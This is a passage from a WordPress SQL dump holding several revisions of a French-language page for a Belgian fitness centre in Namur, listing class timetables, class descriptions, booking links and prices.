ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;15h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tpsychomot\&quot;&gt;Psychomotricité&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;Cardio&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX/Cardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Bootcamp&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FEDAC;\&quot;&gt;Circuit Training&lt;/span&gt; : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FC6ED;\&quot;&gt;Cardio&lt;/span&gt; : Entraînement développant votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et pour perdre du poids (en complément avec un programme alimentaire) !\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX&lt;/span&gt; : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FEA;\&quot;&gt;Psychomotricité&lt;/span&gt; : Séance réservée aux enfants de 3 à 6 ans.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FA2;\&quot;&gt;Force&lt;/span&gt; : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A2A186;\&quot;&gt;Core&lt;/span&gt; : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX/Cardio&lt;/span&gt; : Entraînement croisé entre le TRX et le cardio. Vous travaillerez ici votre endurance et votre renforcement musculaire global.\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€&lt;br&gt;30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€&lt;br&gt;30 min : 20.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€&lt;br&gt;1 carte de 10 séances : 90.00€ (valable 6 mois)&lt;br&gt;1 carte de 20 séances : 150.00€ (valable 6 mois)&lt;br&gt;1 carte de 50 séances : 300.00€ (valable 1 an)&lt;br&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-08-31 08:43:46', '2014-08-31 08:43:46', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(461, 1, '2014-12-15 19:40:04', '2014-12-15 19:40:04', '', 'LesMills', '', 'inherit', 'open', 'open', '', 'lesmills', '', '', '2014-12-15 19:40:04', '2014-12-15 19:40:04', '', 363, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills.png', 0, 'attachment', 'image/png', 0);
INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(466, 1, '2014-12-15 19:44:19', '2014-12-15 19:44:19', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;100\&quot;/&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMills&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMilles&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMilles&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;20h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMills&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FEDAC;\&quot;&gt;Circuit Training&lt;/span&gt; : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX&lt;/span&gt; : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FA2;\&quot;&gt;Force&lt;/span&gt; : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A2A186;\&quot;&gt;Core&lt;/span&gt; : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€\r\n30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€\r\n30 min : 20.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€\r\n1 carte de 10 séances : 90.00€ (valable 6 mois)\r\n1 carte de 20 séances : 150.00€ (valable 6 mois)\r\n1 carte de 50 séances : 300.00€ (valable 1 an)&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€\r\nSéance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-12-15 19:44:19', '2014-12-15 19:44:19', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(457, 1, '2014-08-31 08:47:00', '2014-08-31 08:47:00', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;15h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tpsychomot\&quot;&gt;Psychomotricité&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;Cardio&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX/Cardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Bootcamp&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FEDAC;\&quot;&gt;Circuit Training&lt;/span&gt; : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FC6ED;\&quot;&gt;Cardio&lt;/span&gt; : Entraînement développant votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et pour perdre du poids (en complément avec un programme alimentaire) !\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX&lt;/span&gt; : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FEA;\&quot;&gt;Psychomotricité&lt;/span&gt; : Séance réservée aux enfants de 3 à 6 ans.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FA2;\&quot;&gt;Force&lt;/span&gt; : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A2A186;\&quot;&gt;Core&lt;/span&gt; : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX/Cardio&lt;/span&gt; : Entraînement croisé entre le TRX et le cardio. Vous travaillerez ici votre endurance et votre renforcement musculaire global.\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; 